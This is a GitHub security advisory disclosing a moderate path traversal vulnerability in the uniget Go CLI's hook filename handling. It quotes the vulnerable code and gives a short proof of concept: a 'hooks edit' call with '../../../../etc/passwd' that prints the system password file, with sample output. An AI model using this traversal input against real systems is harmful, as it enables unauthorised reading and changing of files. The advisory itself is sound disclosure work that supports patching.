Skip to content

Path Traversal in Hook Files - Directory Escape Vulnerability

Moderate
nicholasdille published GHSA-m6jg-wr9m-cg2f Jun 10, 2026

Package

gomod gitlab.com/uniget-org/cli (Go)

Affected versions

0.27.3

Patched versions

0.27.6

Description

Summary

Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.

Details
File: hooks.go Lines 135-160

hookFileName := args[0]  // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName  // Direct concatenation

Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.

PoC

Step 1: Set cat as editor

export EDITOR="cat"

Step 2: Read /etc/passwd via path traversal

./uniget hooks edit --type=pre-install "../../../../etc/passwd"

Step 3: Output shows file contents

root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
image

Severity

Moderate

CVE ID

CVE-2026-55062

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Relative Path Traversal

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as .. that can resolve to a location that is outside of that directory. Learn more on MITRE.

Absolute Path Traversal

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as /abs/path that can resolve to a location that is outside of that directory. Learn more on MITRE.

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Credits